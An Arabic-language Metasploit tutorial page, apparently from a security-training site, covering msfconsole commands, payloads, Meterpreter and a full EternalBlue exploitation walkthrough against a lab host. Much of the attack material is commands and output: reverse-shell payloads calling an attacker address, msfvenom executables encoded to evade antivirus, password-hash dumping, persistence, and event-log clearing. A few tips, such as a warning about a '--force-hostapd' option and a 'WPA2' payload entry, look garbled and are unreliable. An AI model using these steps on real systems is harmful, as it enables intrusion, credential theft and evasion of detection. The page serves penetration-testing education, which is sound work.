الأداة التي أخافت NSA ودمّرت 200,000 نظام — شرح Metasploit من الصفر

💀

EXPLOIT FRAMEWORK — CLASSIFIED

METASPLOIT

THE FRAMEWORK OF FRAMEWORKS

الدليل الأكثر شمولاً وتفصيلاً عن Metasploit Framework — من أول أمر في msfconsole حتى Meterpreter والـ Post-Exploitation الكامل

2300+EXPLOITS

1100+AUXILIARY

592+PAYLOADS

45+ENCODERS

2003SINCE

SCROLL

// MISSION DOSSIER

1. 01//ما هو Metasploit Framework؟
2. 02//البنية المعمارية — كيف يعمل؟
3. 03//التثبيت وتشغيل msfconsole
4. 04//أوامر msfconsole الكاملة
5. 05//أنواع الـ Modules — الترسانة الكاملة
6. 06//Exploit Ranking System
7. 07//الـ Payloads — Single، Staged، Stager
8. 08//الـ Workflow الكامل — من A إلى Z
9. 09//Meterpreter — الـ Shell المتقدم
10. 10//مثال حي: EternalBlue / MS17-010
11. 11//قاعدة البيانات وWorkspaces
12. 12//نصائح الاحترافيين

01

INTRODUCTION

// ما هو Metasploit Framework؟

أقوى منصة اختبار اختراق في العالم

Metasploit Framework (MSF) هي منصة اختبار اختراق مفتوحة المصدر مبنية بـ Ruby، طوّرها H.D. Moore عام 2003 ثم استحوذت عليها Rapid7 عام 2009. تُعتبر الأداة الأولى والأكثر استخداماً في مجال Penetration Testing على مستوى العالم.

تضم الـ Framework أكثر من 2300 exploit و592 payload و1100 auxiliary module — تغطي أنظمة Windows وLinux وmacOS والأجهزة المدمجة وتطبيقات الويب والشبكات.

ما يجعل MSF استثنائية هو نظامها المعياري (Modular Architecture) — يمكن لأي شخص كتابة Module خاص به وإضافته للـ Framework. هذا جعلها تنمو باستمرار مع كل CVE جديد يُكتشف.

⚠️ تحذير قانوني: استخدام Metasploit على أنظمة لا تمتلك إذناً صريحاً باختبارها هو جريمة جنائية في كل دول العالم. استخدمها فقط على أنظمتك الخاصة أو في بيئات تدريبية مثل HackTheBox وVulnHub وMetasploitable.

02

ARCHITECTURE

// البنية المعمارية

كيف يعمل MSF من الداخل؟

💥

// EXPLOIT MODULES

Exploits

تستغل الثغرات الأمنية في الأنظمة والتطبيقات — Buffer Overflow، Code Injection، SQLi، وأكثر.

2300+

📦

// PAYLOAD MODULES

Payloads

الكود الذي يُنفَّذ بعد نجاح الـ Exploit — Shells، Meterpreter، Backdoors، وغيرها.

592+

🔍

// AUXILIARY MODULES

Auxiliary

لا تستغل — تُجري مسح وتجميع معلومات وFuzzing وDoS وBrute Force وغيرها.

1100+

🎭

// POST MODULES

Post-Exploitation

تُنفَّذ بعد الاختراق — جمع Hash Passwords، Privilege Escalation، Pivoting، Persistence.

430+

🔐

// ENCODER MODULES

Encoders

تُشفّر الـ Payload لتفادي الـ Antivirus وIDS — XOR، SGN، Shikata Ga Nai (الأقوى).

45+

🛡️

// EVASION MODULES

Evasion

توليد Payloads تتفادى الـ AV وEDR بدون أدوات خارجية — Obfuscation وDynamic Modification.

9+

📡

// NOP MODULES

NOPs

مولّد NOP Sleds (No Operation) لتجاوز IDS/IPS Signatures وملء الـ Buffers.

8+

03

INSTALLATION

// التثبيت وتشغيل msfconsole

الدخول للمعركة

// INSTALLATION & LAUNCH

# Kali Linux — مثبت مسبقاً root@kali:~$ msfconsole root@kali:~$ msfconsole -q # بدون Banner root@kali:~$ msfconsole -x "version" # تنفيذ أمر مباشرة # تهيئة قاعدة البيانات أولاً (ضروري) root@kali:~$ msfdb init root@kali:~$ msfdb init && msfconsole # Ubuntu / Debian root@ubuntu:~$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall root@ubuntu:~$ chmod 755 msfinstall && ./msfinstall # التحديث root@kali:~$ msfupdate root@kali:~$ apt update && apt install metasploit-framework -y # Banner الترحيبي — أول ما تراه =[ metasploit v6.x.x ] + -- --=[ 2300 exploits - 1100 auxiliary - 430 post ] + -- --=[ 592 payloads - 45 encoders - 11 nops ] msf6 >

04

COMMANDS

// أوامر msfconsole الكاملة

كل ما تحتاجه على طرف إصبعك

الأمر	الوصف	مثال
help / ?	عرض كل الأوامر المتاحة	help
search	البحث عن Module بالاسم أو CVE أو النوع	search type:exploit ms17-010
use	تحميل Module	use exploit/windows/smb/ms17_010_eternalblue
info	معلومات تفصيلية عن Module	info
show options	عرض خيارات الـ Module المحمّل	show options
show targets	عرض الـ Targets المتاحة	show targets
show payloads	عرض الـ Payloads المتوافقة	show payloads
set	تعيين قيمة لخيار	set RHOSTS 10.10.10.10
setg	تعيين قيمة عالمية (لكل الـ Modules)	setg LHOST 10.10.14.5
unset / unsetg	إلغاء قيمة خيار	unset RHOSTS
run / exploit	تنفيذ الـ Module	run / exploit
exploit -j	تنفيذ كـ Background Job	exploit -j
check	التحقق إذا كان الهدف قابل للاستغلال	check
back	الخروج من Module الحالي	back
sessions	عرض الجلسات المفتوحة	sessions -l
sessions -i	التفاعل مع جلسة	sessions -i 1
sessions -k	إغلاق جلسة	sessions -k 1
jobs	عرض الـ Jobs الجارية	jobs -l
kill	إيقاف Job	kill 0
db_nmap	تشغيل Nmap مع حفظ النتائج في DB	db_nmap -sV 10.10.10.10
hosts	عرض الـ Hosts في قاعدة البيانات	hosts
services	عرض الـ Services المكتشفة	services -p 445
vulns	عرض الثغرات المكتشفة	vulns
workspace	إدارة الـ Workspaces	workspace -a HTB
makerc	حفظ الـ Session كـ Script	makerc /tmp/session.rc
resource	تشغيل Script من ملف	resource /tmp/auto.rc
save	حفظ الـ Global Settings	save
reload_all	إعادة تحميل كل الـ Modules	reload_all
version	عرض إصدار MSF	version
exit / quit	الخروج من msfconsole	exit

// SEARCH — Advanced Filtering

# البحث بالـ CVE msf6 > search cve:2017-0144 # البحث بالنوع msf6 > search type:exploit platform:windows smb # البحث بالـ Rank msf6 > search rank:excellent type:exploit apache # البحث الكامل msf6 > search name:eternalblue Matching Modules ================ # Name Rank Check Description 0 exploit/windows/smb/ms17_010_eternalblue excellent Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution # تحميل Module بالرقم مباشرة msf6 > use 0

05

MODULES

// الـ Modules — الترسانة الكاملة

كل Module له دور محدد في الهجوم

// MODULE WORKFLOW — الاستخدام الكامل

############ AUXILIARY — Scanning & Recon ############ msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 aux(smb_ms17_010) > set RHOSTS 10.10.10.0/24 msf6 aux(smb_ms17_010) > set THREADS 64 msf6 aux(smb_ms17_010) > run [+] 10.10.10.40 - Host is VULNERABLE to MS17-010! ############ EXPLOIT — الاستغلال ############ msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.40 msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5 msf6 exploit(ms17_010_eternalblue) > set LPORT 4444 msf6 exploit(ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 10.10.14.5:4444 [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Meterpreter session 1 opened meterpreter >

06

RANKING SYSTEM

// Exploit Ranking System

ليس كل Exploit متساوياً

لكل Exploit في MSF تقييم يُحدد مدى موثوقيته وخطره على استقرار الهدف:

Excellent

الأفضل — لن يُعطّل الخدمة. SQL Injection وCMD Execution.

Great

موثوق جداً — يختار الهدف تلقائياً دون عدم استقرار.

Good

موثوق في معظم الأوقات مع بعض المتغيرات.

Normal

يعمل في الظروف العادية — الأكثر شيوعاً.

Average

يعمل جزئياً — احتمال فشل أو Crash.

Low / Manual

نادراً ما ينجح — يحتاج تدخل يدوي كبير.

💡 نصيحة: دائماً ابدأ بـ Excellent وGreat Exploits. Normal مقبول. تجنّب Low وManual في البيئات الحساسة لأنها قد تُعطّل الهدف.

07

PAYLOADS

// الـ Payloads — 3 أنواع أساسية

ماذا يحدث بعد الاختراق؟

الـ Payload هو الكود الذي يُنفَّذ على الهدف بعد نجاح الـ Exploit. لكل نوع هجوم Payload مناسب:

النوع	الصيغة	الوصف	الاستخدام
Singles	windows/shell_bind_tcp	كامل في نفسه — يحتوي Exploit + Shellcode معاً. أكثر استقراراً.	مناسب عند محدودية الحجم
Stagers	windows/meterpreter/reverse_tcp	يُنشئ الاتصال ثم يُحمّل الـ Stage. صغير الحجم — يتجاوز القيود.	WPA2 Payloads المعقدة
Stages	windows/x64/meterpreter/...	يُحمَّل عبر الـ Stager. لا حدود للحجم — يوفر ميزات متقدمة.	Meterpreter، VNC، PowerShell

// MOST USED PAYLOADS

## Windows — الأكثر استخداماً windows/x64/meterpreter/reverse_tcp # الأفضل على الإطلاق windows/x64/meterpreter/reverse_https # يتجاوز Firewalls windows/x64/shell_reverse_tcp # Shell بسيط windows/x64/powershell_reverse_tcp # PowerShell Shell ## Linux linux/x64/meterpreter/reverse_tcp # Meterpreter Linux linux/x64/shell/reverse_tcp # Bash Shell cmd/unix/reverse_bash # Bash One-liner ## Multi-Platform java/meterpreter/reverse_tcp # Java (أي نظام) python/meterpreter/reverse_tcp # Python php/meterpreter_reverse_tcp # PHP Web Apps ## Bind vs Reverse # reverse_tcp: الضحية تتصل بك (الأفضل — يتجاوز NAT/Firewall) # bind_tcp: أنت تتصل بالضحية (يحتاج port مفتوح على الهدف) # reverse_https: مشفّر — يبدو كـ HTTPS عادي ## توليد Payload منفصل بـ msfvenom root@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o payload.exe root@kali:~$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell root@kali:~$ msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php root@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x64/zutto_dekiru -i 3 -f exe -o encoded.exe

08

FULL WORKFLOW

// الـ Workflow الكامل — من A إلى Z

سيناريو اختراق متكامل

01

// RECONNAISSANCE

المسح والاستطلاع

استخدام Nmap وdb_nmap لاكتشاف الـ Hosts والـ Services والثغرات المحتملة. تخزين النتائج في قاعدة البيانات.

02

// VULNERABILITY SCAN

البحث عن الثغرة المناسبة

استخدام search بالـ CVE أو اسم الخدمة لإيجاد Exploit مناسب. تشغيل Auxiliary Scanner للتحقق من قابلية الاستغلال.

03

// EXPLOITATION

الاستغلال — الضربة الأولى

تحميل الـ Exploit وتعيين RHOSTS وLHOST وLPORT والـ Payload المناسب. تشغيل check للتحقق ثم exploit.

04

// SESSION HANDLING

إدارة الجلسة

بعد نجاح الاختراق، تُفتح Meterpreter Session. يمكن تشغيل Multiple Exploits في Background والتنقل بينها.

05

// POST-EXPLOITATION

ما بعد الاختراق

جمع Credentials، Privilege Escalation، Pivoting لشبكات داخلية، تثبيت Backdoor للـ Persistence.

06

// REPORTING

التوثيق والتقرير

تصدير النتائج من قاعدة البيانات، توثيق كل خطوة، إنتاج تقرير شامل للعميل.

// COMPLETE PENTEST SCENARIO

## STEP 1: تهيئة قاعدة البيانات والـ Workspace msf6 > workspace -a HTB_BlueMachine msf6 > workspace HTB_BlueMachine ## STEP 2: مسح الهدف msf6 > db_nmap -sV -sC -O --script vuln 10.10.10.40 [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 445/tcp open microsoft-ds Windows 7 Professional [+] Nmap: VULNERABLE: MS17-010 EternalBlue ## STEP 3: التحقق بـ Auxiliary Scanner msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 > set RHOSTS 10.10.10.40 msf6 > run [+] Host is VULNERABLE to MS17-010! ## STEP 4: الاستغلال msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 10.10.10.40 msf6 > set LHOST 10.10.14.5 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > exploit [*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.40:49765) ## STEP 5: Post-Exploitation meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

09

METERPRETER

// Meterpreter — الـ Shell الذي لا يُقهر

أقوى Payload في MSF

Meterpreter (Metasploit Interpreter) هو Payload متقدم يُحمَّل مباشرة في ذاكرة الهدف (In-Memory) بدون كتابة أي ملف على القرص — مما يجعله غير مرئي تقريباً للـ Antivirus. يدعم Dynamic Extension Loading — يمكن تحميل ميزات إضافية في وقت التشغيل.

// SYSTEM INFO

معلومات النظام

sysinfo, getuid, getpid, ps, env

// FILE SYSTEM

إدارة الملفات

ls, cd, pwd, cat, upload, download, edit

// NETWORK

الشبكة

ifconfig, arp, netstat, portfwd, route

// PRIVILEGE

رفع الصلاحيات

getsystem, getprivs, migrate

// CREDENTIALS

سرقة البيانات

hashdump, run post/multi/recon/local_exploit_suggester

// PERSISTENCE

الثبات والبقاء

run persistence, run post/windows/manage/persistence_exe

// PIVOTING

التمحور للشبكة

route add, portfwd, socks proxy

// STEALTH

التخفي

clearev, timestomp, migrate to trusted process

// METERPRETER — Essential Commands

## معلومات أساسية meterpreter > sysinfo meterpreter > getuid # من أنت؟ meterpreter > getpid # Process ID meterpreter > ps # قائمة العمليات ## رفع الصلاحيات meterpreter > getsystem # محاولة SYSTEM Access [+] ...got system via technique 1 (Named Pipe Impersonation) meterpreter > getuid Server username: NT AUTHORITY\SYSTEM ## الانتقال لـ Process موثوق (تخفي) meterpreter > migrate -N lsass.exe meterpreter > migrate -N explorer.exe ## سرقة Hashes meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: user1:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: ## نقل الملفات meterpreter > upload /home/kali/tool.exe C:\\Windows\\Temp\\tool.exe meterpreter > download C:\\Users\\Administrator\\Desktop\\root.txt /tmp/ ## Pivoting — الوصول لشبكات داخلية meterpreter > run post/multi/manage/autoroute meterpreter > portfwd add -l 8080 -p 80 -r 192.168.1.10 ## تشغيل Shell عادي meterpreter > shell Process 1234 created. Microsoft Windows [Version 10.0.14393] C:\Windows\system32> ## الخروج والإخفاء meterpreter > clearev # مسح الـ Event Logs meterpreter > background # إرجاع الجلسة للـ Background meterpreter > exit # إغلاق الجلسة ## Post-Exploitation Modules meterpreter > run post/multi/recon/local_exploit_suggester meterpreter > run post/windows/gather/hashdump meterpreter > run post/windows/manage/persistence meterpreter > run post/multi/gather/env

10

REAL EXAMPLE

// مثال حي: EternalBlue / MS17-010

الاختراق الذي هزّ العالم

EternalBlue (MS17-010) هي الثغرة التي استخدمتها NSA وسُرقت عام 2017، ثم استخدمها WannaCry Ransomware لإصابة أكثر من 200,000 نظام في 150 دولة. تستغل ثغرة في بروتوكول SMBv1 على Windows وتمنح صلاحيات SYSTEM مباشرة.

// MS17-010 ETERNALBLUE — Full Exploitation

######## PHASE 1: SCAN & DETECT ######## msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 aux(smb_ms17_010) > set RHOSTS 10.10.10.40 msf6 aux(smb_ms17_010) > run [+] 10.10.10.40:445 - Host is VULNERABLE to MS17-010! [*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete) ######## PHASE 2: EXPLOIT ######## msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue) > show options msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.40 msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5 msf6 exploit(ms17_010_eternalblue) > set LPORT 4444 msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 10.10.14.5:4444 [*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! [*] Sending stage (200774 bytes) to 10.10.10.40 [+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-= [*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.40:49158) ######## PHASE 3: POST-EXPLOITATION ######## meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: haris:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: meterpreter > shell C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt 4482c0df34b56a3ea4f6c03f8a41d3af

11

DATABASE

// قاعدة البيانات والـ Workspaces

تنظيم عمليات الاختبار

// DATABASE & WORKSPACE MANAGEMENT

## تهيئة قاعدة البيانات root@kali:~$ msfdb init root@kali:~$ msfdb start root@kali:~$ msfdb status ## Workspaces — منظّمات المشاريع msf6 > workspace # عرض الـ Workspaces msf6 > workspace -a HTB_Blue # إنشاء Workspace msf6 > workspace HTB_Blue # التبديل إليه msf6 > workspace -d HTB_Blue # حذف Workspace ## إدارة النتائج msf6 > hosts # عرض الـ Hosts msf6 > hosts -R # تعيين RHOSTS من قاعدة البيانات msf6 > services # عرض الـ Services msf6 > services -p 445 # فلترة بالـ Port msf6 > vulns # عرض الثغرات المكتشفة msf6 > creds # عرض الـ Credentials msf6 > loot # عرض الـ Loot (Flags, Files) ## تصدير النتائج msf6 > db_export -f xml /tmp/report.xml msf6 > db_export -f pwdump /tmp/hashes.txt ## استيراد نتائج Nmap msf6 > db_import /tmp/nmap_scan.xml

12

PRO TIPS

// نصائح الاحترافيين

ما لا تجده في الدليل الرسمي

⚡ استخدم -j دائماً: exploit -j يشغّل الـ Exploit كـ Background Job — يمكنك تشغيل عدة Exploits في آنٍ واحد والتنقل بينها.

🔄 setg للتوفير: setg LHOST 10.10.14.5 تعيين LHOST مرة واحدة لكل الـ Modules — لا تحتاجها في كل مرة.

📋 Resource Scripts: احفظ الأوامر المتكررة في ملف .rc وشغّله بـ resource /path/to/script.rc — أتمتة كاملة.

🎯 local_exploit_suggester: بعد الحصول على Meterpreter، شغّل run post/multi/recon/local_exploit_suggester لاقتراح Local Privilege Escalation Exploits تلقائياً.

🛡️ AV Evasion بـ msfvenom: استخدم -e x64/zutto_dekiru -i 5 مع التشفير 5 مرات لتحسين التهرب من الـ AV.

⚠️ لا تستخدم --force-hostapd أبداً: بعض الـ Exploits تحتاج check أولاً قبل التنفيذ — الـ check يحمي الهدف من الـ Crash.

🔄 Handler مستقل: استخدم use exploit/multi/handler مع msfvenom للتحكم في الـ Reverse Shells الخارجية بشكل أنيق.

Metasploit Framework ليست مجرد أداة — إنها منظومة متكاملة تجمع الاستطلاع والاستغلال والـ Post-Exploitation في مكان واحد. إتقانها يعني إتقان تفكير المهاجم، وهذا هو المفتاح الحقيقي لبناء دفاع محكم. الاستخدام الأخلاقي والقانوني هو ما يفرّق بين الـ Penetration Tester والمجرم.

GloSecLab

// PENETRATION TESTING · KALI LINUX · OSINT //

© 2025 GloSecLab — للأغراض التعليمية والأخلاقية فقط